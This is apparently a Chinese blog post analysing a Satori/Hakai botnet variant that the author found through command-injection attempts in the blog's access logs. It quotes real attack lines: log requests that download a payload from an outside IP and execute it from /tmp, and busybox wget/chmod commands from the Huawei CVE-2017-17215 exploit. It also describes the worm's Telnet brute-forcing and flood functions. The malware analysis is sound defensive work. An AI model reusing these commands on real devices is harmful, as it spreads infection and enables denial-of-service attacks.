前言
近日,在博客的访问日志上发现一些略显奇特的访问记录,看起来像是远程命令执行,在好奇心(没事干)的驱使下深究下去,然后终于――揭开了,嗯,蠕虫传播的冰山一角。。。
(本文标题为360 netlab
发表的一篇蠕虫分析文章标题的意译)
## 访问记录
笔者喜欢有事没事翻一下博客的访问记录,一来看看除了爬虫还有谁会看我的文章,二来观察爬虫、扫描器以及各种各样的payload的特征,寻找其有意思的地方,说不定以后还能当做自己扫描器的Fuzz路径或者按照思路做一个蜜罐啥的。
前几天随便扫一眼日志时,发现了类似命令执行的访问记录
156.211.122.123 - - [04/Aug/2018:21:50:41 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
41.45.142.236 - - [04/Aug/2018:23:07:02 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
156.219.34.60 - - [06/Aug/2018:01:42:11 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
197.43.118.238 - - [06/Aug/2018:02:10:07 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
看起来就像是带着payload访问一下就能直接下载文件并执行。
访问http://46.166.185.42/e
嗯,赤裸裸的命令执行 分别把文件下载下来执行再删除,很熟练的操作
很”庆幸“的是,我还能把文件下载下来,之前找过几个类似的,没一个能活到能下载给我分析的,这次只有
hakai.arm5
变404
了
其余三个文件都是elf文件:hakai.mips
、hakai.mpsl
、hakai.x86_64
我分析了其中一个――hakai.x86_64
,毕竟从蠕虫作者的角度来想,每个文件的功能都一样是差不多的,只是运行在不同的平台,这样一来就能减少开发以及管理成本,所以分析一个就差不多了
逆向分析
打开IDA,静态分析一下。很庆幸并没有加壳混淆,对本菜十分友好。
其中出现的一些payload字符串拿去google一下,发现在今年6月份的时候,360
netlab已经发布了一篇文章――Botnets
never Die, Satori REFUSES to Fade
Away,经过分析,我拿到的样本从加密方式以及行为来看应该是Satori蠕虫的变种,所以本文也应用了这篇文章标题的意译作为标题。
先来看一下主函数:
大概可以看出该蠕虫有以下功能 +
修改进程名为
sshd
或/usr/sbin/dropbear
进行隐藏 +
针对华为、dlink设备特定漏洞进行传播 +
针对23、2323端口Telnet服务进行密码爆破攻击 +
疑似设备操作方式实现持续化控制(wacthdog) +
实现远控。从主机接受特定格式的指令,实现自定义HTTP包发送、TCP Flood、UDP
Flood以及Std Flood 其中还有一些加密字符串
加/解密算法均为deobf()
看起来是简单的置换密码
直接在源文件上
patch
一段解密汇编得到每个索引对应的密文(中间有些索引没用,所以索引不连续)
1. gosh that chinese family at the other table sure ate alot
2. hakaiboatnet.pw
3. /proc/
4. /exe
6. /fd
7. /maps
8. /proc/net/tcp
9. 1gcab4dom35hnp2lei0jkf
10. UPX!
11. dvrHelper
15. /dev/watchdog
16. /dev/misc/watchdog
17. shell
18. enable
19. system
20. /bin/busybox REKAI
21. sh
22. REKAI: applet not found
23. ncorrect
26. /bin/busybox ps
27. /bin/busybox kill -9/
emmm,其他都能理解,这第一个加密的吐槽是跟国人有仇咩
嗯,蠕虫作者应该是个外国人,而且极有可能在餐厅写蠕虫的时候旁边桌的国人放了个屁~
端口爆破
先看看各个部分的功能与流程
蠕虫作者首先对爆破的账号密码进行了加密,然后解密加进账号密码内存池待用
然后进行23以及2323端口进行端口开发探测,并加进连接记录表
然后根据返回信息的解析进行账号密码的爆破
最后起shell
嗯,终于明白为什么之前我的22端口一直被爆破,每次登上去都有几千个错误尝试的记录
恐怕都是这些僵尸网络干的
不过后面我尝试把登录端口换成一个四位数的端口,从此世界都清净了
有强迫症的读者可以一试 #### huawei_scanner
这个部分主要是针对华为路由器漏洞CVE-2017-17215的进行利用然后传播。
漏洞原理可以看Seebug Paper -
Huawei HG532 系列路由器远程命令执行漏洞分析 利用姿势可以参考玄武实验室
- 对华为HG532远程命令执行漏洞的新探索
Satori用的是这个
payload
:
嗯,看起来是XXE 同理首先构造了一个TCP包发出去
接收数据包并判断是否是是
37215
漏洞端口发出的SYN-ACK
包
随之TCP握手
开始发
palyload
无非是想执行这一段命令:
/bin/busybox wget -g 46.166.185.42 -l /tmp/hakai -r /hakai.huawei
/bin/busybox chmod 777 * /tmp/hakai; /tmp/hakai huawei
echo HUAWEIUPNP
就这样,这样蠕虫传播完成
不过一般情况下WAN口访问37215
端口是被过滤的,所以还是有一些局限性的
#### dlink_scanner
dlink_scanner利用的是D-Link DSL-2750B
上的远程命令执行漏洞
简单一个参数就能远程执行命令 payload
如下
扫描的步骤和上面提到的大同小异,都是先探测记录后发送payload,然后再执行命令,下载远程恶意文件执行
在此不再赘述 #### 远控功能
执行完扫描传播之后,蠕虫会有一个
while(1)
循环一直接受来自主机的指令以解析执行
其中可执行的有四个功能: 1. HTTPHEX 自定义发送HTTP
请求
支持GET
,POST
,HEAD
三种方式,以及随机以下几个UA:
2. UDP Flood
DOS攻击指定目标 3. TCP Flood DOS攻击指定目标 4. Std Flood
DOS攻击指定目标 不明所以的Std Flood功能,看起来只是UDP Flood,并没有UDP
Flood 部分代码那么复杂
写在最后
根据tachyonsystems.de的蜜罐攻击记录来看,Satori蠕虫在过去几天活动极为频繁,甚至已经跃升第一
并且在本菜写文章这两天,蠕虫主机IP的蠕虫程序已经经历了代码变种->加入混淆->无法访问(或者跑路)三个阶段,可谓瞬息万变。
安全之路,仍任重道远。